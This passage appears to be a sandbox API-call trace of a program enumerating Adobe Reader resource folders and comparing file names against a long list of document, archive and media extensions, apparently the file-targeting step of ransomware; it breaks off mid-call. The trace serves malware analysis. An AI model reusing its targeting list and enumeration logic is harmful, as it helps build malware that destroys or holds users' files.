(lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\cs-cz") returned 1 [0198.074] lstrlenW (lpString="cs-cz") returned 5 [0198.074] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="cs-cz") returned -1 [0198.074] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x44f5f70 [0198.074] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\cs-cz") returned 104 [0198.074] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\cs-cz\\*", lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3379b53, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3379b53, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3379b53, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x44207e0 [0198.333] FindNextFileW (in: hFindFile=0x44207e0, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3379b53, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3379b53, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3379b53, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0198.333] FindNextFileW (in: hFindFile=0x44207e0, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3379b53, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3379b53, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3379b53, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0xed8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0198.333] lstrlenW (lpString="ui-strings.js") returned 13 [0198.333] lstrlenW (lpString=".1cd") returned 4 [0198.333] lstrcmpiW (lpString1=".1cd", lpString2="s.js") returned -1 [0198.333] lstrlenW (lpString=".3ds") returned 4 [0198.333] lstrcmpiW (lpString1=".3ds", lpString2="s.js") returned -1 [0198.334] lstrlenW (lpString=".3fr") returned 4 [0198.334] lstrcmpiW (lpString1=".3fr", lpString2="s.js") returned -1 [0198.334] lstrlenW (lpString=".3g2") returned 4 [0198.334] lstrcmpiW (lpString1=".3g2", lpString2="s.js") returned -1 [0198.334] lstrlenW (lpString=".3gp") returned 4 [0198.334] lstrcmpiW (lpString1=".3gp", lpString2="s.js") returned -1 [0198.334] lstrlenW (lpString=".7z") returned 3 [0198.334] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1 [0198.334] lstrlenW (lpString=".accda") returned 6 [0198.334] lstrcmpiW (lpString1=".accda", lpString2="ngs.js") returned -1 [0198.334] lstrlenW (lpString=".accdb") returned 6 [0198.334] lstrcmpiW (lpString1=".accdb", lpString2="ngs.js") returned -1 [0198.334] lstrlenW (lpString=".accdc") returned 6 [0198.334] lstrcmpiW (lpString1=".accdc", lpString2="ngs.js") returned -1 [0198.334] lstrlenW (lpString=".accde") returned 6 [0198.334] lstrcmpiW (lpString1=".accde", lpString2="ngs.js") returned -1 [0198.334] lstrlenW (lpString=".accdt") returned 6 [0198.334] lstrcmpiW (lpString1=".accdt", lpString2="ngs.js") returned -1 [0198.334] lstrlenW (lpString=".accdw") returned 6 [0198.334] lstrcmpiW (lpString1=".accdw", lpString2="ngs.js") returned -1 [0198.334] lstrlenW (lpString=".adb") returned 4 [0198.334] lstrcmpiW (lpString1=".adb", lpString2="s.js") returned -1 [0198.334] lstrlenW (lpString=".adp") returned 4 [0198.335] lstrcmpiW (lpString1=".adp", lpString2="s.js") returned -1 [0198.335] lstrlenW (lpString=".ai") returned 3 [0198.335] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1 [0198.335] lstrlenW (lpString=".ai3") returned 4 [0198.335] lstrcmpiW (lpString1=".ai3", lpString2="s.js") returned -1 [0198.336] lstrlenW (lpString=".ai4") returned 4 [0198.336] lstrcmpiW (lpString1=".ai4", lpString2="s.js") returned -1 [0198.336] lstrlenW (lpString=".ai5") returned 4 [0198.336] lstrcmpiW (lpString1=".ai5", lpString2="s.js") returned -1 [0198.336] lstrlenW (lpString=".ai6") returned 4 [0198.336] lstrcmpiW (lpString1=".ai6", lpString2="s.js") returned -1 [0198.336] lstrlenW (lpString=".ai7") returned 4 [0198.336] lstrcmpiW (lpString1=".ai7", lpString2="s.js") returned -1 [0198.336] lstrlenW (lpString=".ai8") returned 4 [0198.336] lstrcmpiW (lpString1=".ai8", lpString2="s.js") returned -1 [0198.336] lstrlenW (lpString=".anim") returned 5 [0198.336] lstrcmpiW (lpString1=".anim", lpString2="gs.js") returned -1 [0198.336] lstrlenW (lpString=".arw") returned 4 [0198.336] lstrcmpiW (lpString1=".arw", lpString2="s.js") returned -1 [0198.336] lstrlenW (lpString=".as") returned 3 [0198.336] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1 [0198.336] lstrlenW (lpString=".asa") returned 4 [0198.336] lstrcmpiW (lpString1=".asa", lpString2="s.js") returned -1 [0198.336] lstrlenW (lpString=".asc") returned 4 [0198.336] lstrcmpiW (lpString1=".asc", lpString2="s.js") returned -1 [0198.336] lstrlenW (lpString=".ascx") returned 5 [0198.336] lstrcmpiW (lpString1=".ascx", lpString2="gs.js") returned -1 [0198.336] lstrlenW (lpString=".asm") returned 4 [0198.336] lstrcmpiW (lpString1=".asm", lpString2="s.js") returned -1 [0198.337] lstrlenW (lpString=".asmx") returned 5 [0198.337] lstrcmpiW (lpString1=".asmx", lpString2="gs.js") returned -1 [0198.337] lstrlenW (lpString=".asp") returned 4 [0198.337] lstrcmpiW (lpString1=".asp", lpString2="s.js") returned -1 [0198.337] lstrlenW (lpString=".aspx") returned 5 [0198.337] lstrcmpiW (lpString1=".aspx", lpString2="gs.js") returned -1 [0198.337] lstrlenW (lpString=".asr") returned 4 [0198.337] lstrcmpiW (lpString1=".asr", lpString2="s.js") returned -1 [0198.337] lstrlenW (lpString=".asx") returned 4 [0198.337] lstrcmpiW (lpString1=".asx", lpString2="s.js") returned -1 [0198.337] lstrlenW (lpString=".avi") returned 4 [0198.337] lstrcmpiW (lpString1=".avi", lpString2="s.js") returned -1 [0198.337] lstrlenW (lpString=".avs") returned 4 [0198.337] lstrcmpiW (lpString1=".avs", lpString2="s.js") returned -1 [0198.337] lstrlenW (lpString=".backup") returned 7 [0198.337] lstrcmpiW (lpString1=".backup", lpString2="ings.js") returned -1 [0198.337] lstrlenW (lpString=".bak") returned 4 [0198.337] lstrcmpiW (lpString1=".bak", lpString2="s.js") returned -1 [0198.337] lstrlenW (lpString=".bay") returned 4 [0198.337] lstrcmpiW (lpString1=".bay", lpString2="s.js") returned -1 [0198.337] lstrlenW (lpString=".bd") returned 3 [0198.337] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1 [0198.337] lstrlenW (lpString=".bin") returned 4 [0198.337] lstrcmpiW (lpString1=".bin", lpString2="s.js") returned -1 [0198.338] lstrlenW (lpString=".bmp") returned 4 [0198.338] lstrcmpiW (lpString1=".bmp", lpString2="s.js") returned -1 [0198.338] lstrlenW (lpString=".bz2") returned 4 [0198.338] lstrcmpiW (lpString1=".bz2", lpString2="s.js") returned -1 [0198.338] lstrlenW (lpString=".c") returned 2 [0198.338] lstrcmpiW (lpString1=".c", lpString2="js") returned -1 [0198.338] lstrlenW (lpString=".cdr") returned 4 [0198.338] lstrcmpiW (lpString1=".cdr", lpString2="s.js") returned -1 [0198.338] lstrlenW (lpString=".cer") returned 4 [0198.338] lstrcmpiW (lpString1=".cer", lpString2="s.js") returned -1 [0198.338] lstrlenW (lpString=".cf") returned 3 [0198.338] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1 [0198.338] lstrlenW (lpString=".cfc") returned 4 [0198.338] lstrcmpiW (lpString1=".cfc", lpString2="s.js") returned -1 [0198.338] lstrlenW (lpString=".cfm") returned 4 [0198.338] lstrcmpiW (lpString1=".cfm", lpString2="s.js") returned -1 [0198.338] lstrlenW (lpString=".cfml") returned 5 [0198.338] lstrcmpiW (lpString1=".cfml", lpString2="gs.js") returned -1 [0198.338] lstrlenW (lpString=".cfu") returned 4 [0198.338] lstrcmpiW (lpString1=".cfu", lpString2="s.js") returned -1 [0198.338] lstrlenW (lpString=".chm") returned 4 [0198.338] lstrcmpiW (lpString1=".chm", lpString2="s.js") returned -1 [0198.338] lstrlenW (lpString=".cin") returned 4 [0198.338] lstrcmpiW (lpString1=".cin", lpString2="s.js") returned -1 [0198.339] lstrlenW (lpString=".class") returned 6 [0198.339] lstrcmpiW (lpString1=".class", lpString2="ngs.js") returned -1 [0198.339] lstrlenW (lpString=".clx") returned 4 [0198.339] lstrcmpiW (lpString1=".clx", lpString2="s.js") returned -1 [0198.339] lstrlenW (lpString=".config") returned 7 [0198.339] lstrcmpiW (lpString1=".config", lpString2="ings.js") returned -1 [0198.339] lstrlenW (lpString=".cpp") returned 4 [0198.339] lstrcmpiW (lpString1=".cpp", lpString2="s.js") returned -1 [0198.339] lstrlenW (lpString=".cr2") returned 4 [0198.339] lstrcmpiW (lpString1=".cr2", lpString2="s.js") returned -1 [0198.339] lstrlenW (lpString=".crt") returned 4 [0198.339] lstrcmpiW (lpString1=".crt", lpString2="s.js") returned -1 [0198.339] lstrlenW (lpString=".crw") returned 4 [0198.339] lstrcmpiW (lpString1=".crw", lpString2="s.js") returned -1 [0198.339] lstrlenW (lpString=".cs") returned 3 [0198.339] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1 [0198.339] lstrlenW (lpString=".css") returned 4 [0198.339] lstrcmpiW (lpString1=".css", lpString2="s.js") returned -1 [0198.339] lstrlenW (lpString=".csv") returned 4 [0198.339] lstrcmpiW (lpString1=".csv", lpString2="s.js") returned -1 [0198.339] lstrlenW (lpString=".cub") returned 4 [0198.339] lstrcmpiW (lpString1=".cub", lpString2="s.js") returned -1 [0198.339] lstrlenW (lpString=".dae") returned 4 [0198.339] lstrcmpiW (lpString1=".dae", lpString2="s.js") returned -1 [0198.340] lstrlenW (lpString=".dat") returned 4 [0198.340] lstrcmpiW (lpString1=".dat", lpString2="s.js") returned -1 [0198.340] lstrlenW (lpString=".db") returned 3 [0198.340] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1 [0198.340] lstrlenW (lpString=".dbf") returned 4 [0198.340] lstrcmpiW (lpString1=".dbf", lpString2="s.js") returned -1 [0198.340] lstrlenW (lpString=".dbx") returned 4 [0198.340] lstrcmpiW (lpString1=".dbx", lpString2="s.js") returned -1 [0198.340] lstrlenW (lpString=".dc3") returned 4 [0198.340] lstrcmpiW (lpString1=".dc3", lpString2="s.js") returned -1 [0198.340] lstrlenW (lpString=".dcm") returned 4 [0198.340] lstrcmpiW (lpString1=".dcm", lpString2="s.js") returned -1 [0198.340] lstrlenW (lpString=".dcr") returned 4 [0198.340] lstrcmpiW (lpString1=".dcr", lpString2="s.js") returned -1 [0198.340] lstrlenW (lpString=".der") returned 4 [0198.340] lstrcmpiW (lpString1=".der", lpString2="s.js") returned -1 [0198.340] lstrlenW (lpString=".dib") returned 4 [0198.340] lstrcmpiW (lpString1=".dib", lpString2="s.js") returned -1 [0198.341] lstrlenW (lpString=".dic") returned 4 [0198.341] lstrcmpiW (lpString1=".dic", lpString2="s.js") returned -1 [0198.341] lstrlenW (lpString=".dif") returned 4 [0198.341] lstrcmpiW (lpString1=".dif", lpString2="s.js") returned -1 [0198.341] lstrlenW (lpString=".divx") returned 5 [0198.341] lstrcmpiW (lpString1=".divx", lpString2="gs.js") returned -1 [0198.341] lstrlenW (lpString=".djvu") returned 5 [0198.341] lstrcmpiW (lpString1=".djvu", lpString2="gs.js") returned -1 [0198.341] lstrlenW (lpString=".dng") returned 4 [0198.341] lstrcmpiW (lpString1=".dng", lpString2="s.js") returned -1 [0198.341] lstrlenW (lpString=".doc") returned 4 [0198.341] lstrcmpiW (lpString1=".doc", lpString2="s.js") returned -1 [0198.341] lstrlenW (lpString=".docm") returned 5 [0198.341] lstrcmpiW (lpString1=".docm", lpString2="gs.js") returned -1 [0198.341] lstrlenW (lpString=".docx") returned 5 [0198.341] lstrcmpiW (lpString1=".docx", lpString2="gs.js") returned -1 [0198.341] lstrlenW (lpString=".dot") returned 4 [0198.341] lstrcmpiW (lpString1=".dot", lpString2="s.js") returned -1 [0198.341] lstrlenW (lpString=".dotm") returned 5 [0198.342] lstrcmpiW (lpString1=".dotm", lpString2="gs.js") returned -1 [0198.342] lstrlenW (lpString=".dotx") returned 5 [0198.342] lstrcmpiW (lpString1=".dotx", lpString2="gs.js") returned -1 [0198.342] lstrlenW (lpString=".dpx") returned 4 [0198.343] lstrcmpiW (lpString1=".dpx", lpString2="s.js") returned -1 [0198.343] lstrlenW (lpString=".dqy") returned 4 [0198.343] lstrcmpiW (lpString1=".dqy", lpString2="s.js") returned -1 [0198.343] lstrlenW (lpString=".dsn") returned 4 [0198.343] lstrcmpiW (lpString1=".dsn", lpString2="s.js") returned -1 [0198.343] lstrlenW (lpString=".dt") returned 3 [0198.343] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1 [0198.343] lstrlenW (lpString=".dtd") returned 4 [0198.343] lstrcmpiW (lpString1=".dtd", lpString2="s.js") returned -1 [0198.343] lstrlenW (lpString=".dwg") returned 4 [0198.343] lstrcmpiW (lpString1=".dwg", lpString2="s.js") returned -1 [0198.343] lstrlenW (lpString=".dwt") returned 4 [0198.343] lstrcmpiW (lpString1=".dwt", lpString2="s.js") returned -1 [0198.343] lstrlenW (lpString=".dx") returned 3 [0198.343] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1 [0198.343] lstrlenW (lpString=".dxf") returned 4 [0198.343] lstrcmpiW (lpString1=".dxf", lpString2="s.js") returned -1 [0198.343] lstrlenW (lpString=".edml") returned 5 [0198.343] lstrcmpiW (lpString1=".edml", lpString2="gs.js") returned -1 [0198.343] lstrlenW (lpString=".efd") returned 4 [0198.344] lstrcmpiW (lpString1=".efd", lpString2="s.js") returned -1 [0198.344] lstrlenW (lpString=".elf") returned 4 [0198.344] lstrcmpiW (lpString1=".elf", lpString2="s.js") returned -1 [0198.344] lstrlenW (lpString=".emf") returned 4 [0198.344] lstrcmpiW (lpString1=".emf", lpString2="s.js") returned -1 [0198.344] lstrlenW (lpString=".emz") returned 4 [0198.344] lstrcmpiW (lpString1=".emz", lpString2="s.js") returned -1 [0198.344] lstrlenW (lpString=".epf") returned 4 [0198.344] lstrcmpiW (lpString1=".epf", lpString2="s.js") returned -1 [0198.344] lstrlenW (lpString=".eps") returned 4 [0198.344] lstrcmpiW (lpString1=".eps", lpString2="s.js") returned -1 [0198.344] lstrlenW (lpString=".epsf") returned 5 [0198.344] lstrcmpiW (lpString1=".epsf", lpString2="gs.js") returned -1 [0198.344] lstrlenW (lpString=".epsp") returned 5 [0198.344] lstrcmpiW (lpString1=".epsp", lpString2="gs.js") returned -1 [0198.344] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44f5f70 | out: hHeap=0x420000) returned 1 [0198.344] FindNextFileW (in: hFindFile=0x44205e0, lpFindFileData=0x34fe1a4 | out: lpFindFileData=0x34fe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33c5ffa, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33c5ffa, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33c5ffa, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="da-dk", cAlternateFileName="")) returned 1 [0198.346] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44f5f70 | out: hHeap=0x420000) returned 1 [0198.346] FindNextFileW (in: hFindFile=0x44205e0, lpFindFileData=0x34fe1a4 | out: lpFindFileData=0x34fe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="de-de", cAlternateFileName="")) returned 1 [0198.346] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44f5f70 | out: hHeap=0x420000) returned 1 [0198.346] FindNextFileW (in: hFindFile=0x44205e0, lpFindFileData=0x34fe1a4 | out: lpFindFileData=0x34fe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="en-ae", cAlternateFileName="")) returned 1 [0198.346] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44f5f70 | out: hHeap=0x420000) returned 1 [0198.347] FindNextFileW (in: hFindFile=0x44205e0, lpFindFileData=0x34fe1a4 | out: lpFindFileData=0x34fe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="en-gb", cAlternateFileName="")) returned 1 [0198.347] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44f5f70 | out: hHeap=0x420000) returned 1 [0198.347] FindNextFileW (in: hFindFile=0x44205e0, lpFindFileData=0x34fe1a4 | out: lpFindFileData=0x34fe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33c5ffa, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33c5ffa, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33c5ffa, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="en-il", cAlternateFileName="")) returned 1 [0198.347] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44f5f70 | out: hHeap=0x420000) returned 1 [0198.347] FindNextFileW (in: hFindFile=0x44205e0, lpFindFileData=0x34fe1a4 | out: lpFindFileData=0x34fe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="es-es", cAlternateFileName="")) returned 1 [0198.347] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44f5f70 | out: hHeap=0x420000) returned 1 [0198.347] FindNextFileW (in: hFindFile=0x44205e0, lpFindFileData=0x34fe1a4 | out: lpFindFileData=0x34fe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="eu-es", cAlternateFileName="")) returned 1 [0198.348] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44f5f70 | out: hHeap=0x420000) returned 1 [0198.348] FindNextFileW (in: hFindFile=0x44205e0, lpFindFileData=0x34fe1a4 | out: lpFindFileData=0x34fe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33c5ffa, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33c5ffa, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33c5ffa, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="fi-fi", cAlternateFileName="")) returned 1 [0198.348] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44f5f70 | out: hHeap=0x420000) returned 1 [0198.348] FindNextFileW (in: hFindFile=0x44205e0, lpFindFileData=0x34fe1a4 | out: lpFindFileData=0x34fe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="fr-fr", cAlternateFileName="")) returned 1 [0198.348] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44f5f70 | out: hHeap=0x420000) returned 1 [0198.348] FindNextFileW (in: hFindFile=0x44205e0, lpFindFileData=0x34fe1a4 | out: lpFindFileData=0x34fe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33c5ffa, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33c5ffa, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33c5ffa, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="fr-ma", cAlternateFileName="")) returned 1 [0198.349] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44f5f70 | out: hHeap=0x420000) returned 1 [0198.349] FindNextFileW (in: hFindFile=0x44205e0, lpFindFileData=0x34fe1a4 | out: lpFindFileData=0x34fe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33c5ffa, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33c5ffa, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33c5ffa, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="he-il", cAlternateFileName="")) returned 1 [0198.349] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44f5f70 | out: hHeap=0x420000) returned 1 [0198.349] FindNextFileW (in: hFindFile=0x44205e0, lpFindFileData=0x34fe1a4 | out: lpFindFileData=0x34fe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33c5ffa, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33c5ffa, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33c5ffa, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="hr-hr", cAlternateFileName="")) returned 1 [0198.349] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44f5f70 | out: hHeap=0x420000) returned 1 [0198.349] FindNextFileW (in: hFindFile=0x44205e0, lpFindFileData=0x34fe1a4 | out: lpFindFileData=0x34fe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="hu-hu", cAlternateFileName="")) returned 1 [0198.350] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44f5f70 | out: hHeap=0x420000) returned 1 [0198.350] FindNextFileW (in: hFindFile=0x44205e0, lpFindFileData=0x34fe1a4 | out: lpFindFileData=0x34fe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="it-it", cAlternateFileName="")) returned 1 [0198.350] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44f5f70 | out: hHeap=0x420000) returned 1 [0198.350] FindNextFileW (in: hFindFile=0x44205e0, lpFindFileData=0x34fe1a4 | out: lpFindFileData=0x34fe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33c5ffa, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33c5ffa, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33c5ffa, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ja-jp", cAlternateFileName="")) returned 1 [0198.350] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44f5f70 | out: hHeap=0x420000) returned 1 [0198.350] FindNextFileW (in: hFindFile=0x44205e0, lpFindFileData=0x34fe1a4 | out: lpFindFileData=0x34fe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ko-kr", cAlternateFileName="")) returned 1 [0198.350] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44f5f70 | out: hHeap=0x420000) returned 1 [0198.351] FindNextFileW (in: hFindFile=0x44205e0, lpFindFileData=0x34fe1a4 | out: lpFindFileData=0x34fe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33c5ffa, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33c5ffa, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33c5ffa, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="nb-no", cAlternateFileName="")) returned 1 [0198.351] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44f5f70 | out: hHeap=0x420000) returned 1 [0198.351] FindNextFileW (in: hFindFile=0x44205e0, lpFindFileData=0x34fe1a4 | out: lpFindFileData=0x34fe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="nl-nl", cAlternateFileName="")) returned 1 [0198.351] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44f5f70 | out: hHeap=0x420000) returned 1 [0198.351] FindNextFileW (in: 